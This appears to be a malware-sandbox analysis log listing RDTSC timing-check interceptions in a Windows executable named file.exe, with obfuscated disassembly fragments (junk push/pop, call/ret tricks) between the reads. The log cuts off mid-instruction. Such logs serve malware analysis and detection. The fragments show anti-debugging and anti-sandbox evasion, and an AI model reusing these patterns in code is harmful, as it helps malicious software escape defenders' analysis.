Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D2B3 second address: D4D2DF instructions: 0x00000000 rdtsc 0x00000002 jg 00007F99D0DE6F28h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 ja 00007F99D0DE6F4Bh 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F99D0DE6F34h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D2DF second address: D4D31C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push esi 0x0000000c jmp 00007F99D0D12E28h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F99D0D12E1Bh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D41774 second address: D4177A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4177A second address: D41789 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F99D0D12E16h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BDDD second address: D6BE01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F99D0DE6F26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d jmp 00007F99D0DE6F2Ah 0x00000012 pop ecx 0x00000013 popad 0x00000014 push edi 0x00000015 jo 00007F99D0DE6F2Eh 0x0000001b push eax 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BF62 second address: D6BF6C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F99D0D12E22h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BF6C second address: D6BF7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F99D0DE6F26h 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C383 second address: D6C389 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C389 second address: D6C399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jne 00007F99D0DE6F26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C4E7 second address: D6C505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F99D0D12E22h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C505 second address: D6C50F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F99D0DE6F26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C50F second address: D6C53F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F99D0D12E25h 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C53F second address: D6C54A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C7FB second address: D6C817 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E20h 0x00000007 jp 00007F99D0D12E1Eh 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C9E5 second address: D6CA04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F99D0DE6F2Bh 0x0000000b popad 0x0000000c pop edx 0x0000000d pushad 0x0000000e jg 00007F99D0DE6F28h 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CCE3 second address: D6CCF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99D0D12E1Dh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CCF9 second address: D6CCFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D649B9 second address: D649C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 je 00007F99D0D12E16h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D649C5 second address: D649C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CFDB second address: D6CFDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6CFDF second address: D6CFE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D55F second address: D6D580 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F99D0D12E16h 0x0000000a jmp 00007F99D0D12E27h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D580 second address: D6D58A instructions: 0x00000000 rdtsc 0x00000002 jng 00007F99D0DE6F26h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D9BE second address: D6D9C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DC99 second address: D6DCCF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F99D0DE6F2Ch 0x0000000d pop edx 0x0000000e pushad 0x0000000f push edx 0x00000010 jmp 00007F99D0DE6F30h 0x00000015 jmp 00007F99D0DE6F2Ah 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6DCCF second address: D6DCD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7224E second address: D72253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72253 second address: D72258 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D72258 second address: D72299 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jo 00007F99D0DE6F28h 0x00000012 pushad 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d jmp 00007F99D0DE6F32h 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jnl 00007F99D0DE6F2Ch 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70B39 second address: D70B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7125A second address: D71260 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7377A second address: D73783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73783 second address: D73787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73787 second address: D73797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F99D0D12E16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D73797 second address: D7379B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7379B second address: D737A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7865E second address: D78662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78662 second address: D7867A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push ebx 0x00000008 jnp 00007F99D0D12E18h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F99D0D12E16h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78912 second address: D78918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78918 second address: D78925 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F99D0D12E16h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78D59 second address: D78D63 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F99D0DE6F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D78D63 second address: D78D6D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F99D0D12E1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79025 second address: D79033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F99D0DE6F26h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7AF0D second address: D7AFAB instructions: 0x00000000 rdtsc 0x00000002 je 00007F99D0D12E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jng 00007F99D0D12E39h 0x00000015 pop eax 0x00000016 mov dword ptr [ebp+122D316Eh], ecx 0x0000001c call 00007F99D0D12E19h 0x00000021 push eax 0x00000022 pushad 0x00000023 jmp 00007F99D0D12E25h 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b pop eax 0x0000002c push eax 0x0000002d push edi 0x0000002e jnl 00007F99D0D12E1Ch 0x00000034 pop edi 0x00000035 mov eax, dword ptr [esp+04h] 0x00000039 jmp 00007F99D0D12E28h 0x0000003e mov eax, dword ptr [eax] 0x00000040 push eax 0x00000041 push edx 0x00000042 jg 00007F99D0D12E1Ch 0x00000048 je 00007F99D0D12E16h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B260 second address: D7B27D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B27D second address: D7B2AB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F99D0D12E2Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F99D0D12E1Bh 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B456 second address: D7B45B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B51A second address: D7B525 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push esi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B5F5 second address: D7B5F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B6E0 second address: D7B6E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C1FE second address: D7C202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C283 second address: D7C2C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99D0D12E1Fh 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F99D0D12E18h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 push eax 0x00000028 push ecx 0x00000029 push eax 0x0000002a push edx 0x0000002b ja 00007F99D0D12E16h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C7A5 second address: D7C7AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D160 second address: D7D16A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F99D0D12E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D16A second address: D7D170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7D170 second address: D7D174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7E278 second address: D7E315 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F99D0DE6F32h 0x0000000d jmp 00007F99D0DE6F35h 0x00000012 popad 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F99D0DE6F28h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e movzx esi, bx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007F99D0DE6F28h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000019h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f call 00007F99D0DE6F37h 0x00000054 pop edi 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 js 00007F99D0DE6F2Ch 0x0000005e jo 00007F99D0DE6F26h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7EB5A second address: D7EB5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F5F8 second address: D7F5FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7EB5E second address: D7EB68 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F99D0D12E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F860 second address: D7F864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F5FE second address: D7F602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7EB68 second address: D7EB8E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F99D0DE6F37h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnc 00007F99D0DE6F28h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F864 second address: D7F885 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F99D0D12E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F99D0D12E23h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7F602 second address: D7F606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7EB8E second address: D7EBA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99D0D12E22h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D801F1 second address: D801F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D80ECC second address: D80ED2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D80C8F second address: D80CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F99D0DE6F37h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jnp 00007F99D0DE6F26h 0x00000015 jmp 00007F99D0DE6F2Dh 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D80ED2 second address: D80EEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99D0D12E24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D80EEA second address: D80F77 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F2Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F99D0DE6F2Bh 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebp 0x00000015 call 00007F99D0DE6F28h 0x0000001a pop ebp 0x0000001b mov dword ptr [esp+04h], ebp 0x0000001f add dword ptr [esp+04h], 00000015h 0x00000027 inc ebp 0x00000028 push ebp 0x00000029 ret 0x0000002a pop ebp 0x0000002b ret 0x0000002c cmc 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F99D0DE6F28h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b mov edi, dword ptr [ebp+122D2956h] 0x00000051 or dword ptr [ebp+122D195Eh], edx 0x00000057 xchg eax, ebx 0x00000058 push eax 0x00000059 push edx 0x0000005a jmp 00007F99D0DE6F39h 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8190B second address: D819B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0D12E26h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jng 00007F99D0D12E2Dh 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F99D0D12E18h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 0000001Ah 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b jmp 00007F99D0D12E1Ah 0x00000030 push 00000000h 0x00000032 mov dword ptr [ebp+122D1B61h], edi 0x00000038 mov di, dx 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push eax 0x00000040 call 00007F99D0D12E18h 0x00000045 pop eax 0x00000046 mov dword ptr [esp+04h], eax 0x0000004a add dword ptr [esp+04h], 00000014h 0x00000052 inc eax 0x00000053 push eax 0x00000054 ret 0x00000055 pop eax 0x00000056 ret 0x00000057 je 00007F99D0D12E19h 0x0000005d movsx edi, cx 0x00000060 push esi 0x00000061 pop edi 0x00000062 xchg eax, ebx 0x00000063 jmp 00007F99D0D12E1Eh 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D819B9 second address: D819C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D819C0 second address: D819C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8206C second address: D82092 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99D0DE6F33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jng 00007F99D0DE6F26h 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82092 second address: D820A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F99D0D12E16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D820A0 second address: D820A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86A85 second address: D86A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86A89 second address: D86A8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86A8D second address: D86A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D86C8E second address: D86C94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D87C4F second address: D87C53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88A76 second address: D88A80 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F99D0DE6F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D88A80 second address: D88A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D87C53 second address: D87CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a stc 0x0000000b push dword ptr fs:[00000000h] 0x00000012 and edi, dword ptr [ebp+122D2C9Bh] 0x00000018 jbe 00007F99D0DE6F2Eh 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F99D0DE6F28h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 00000018h 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f pushad 0x00000040 jl 00007F99D0DE6F2Ch 0x00000046 mov esi, dword ptr [ebp+122D2B97h] 0x0000004c mov dword ptr [ebp+122D312Dh], eax 0x00000052 popad 0x00000053 mov eax, dword ptr [ebp+122D0D85h] 0x00000059 mov 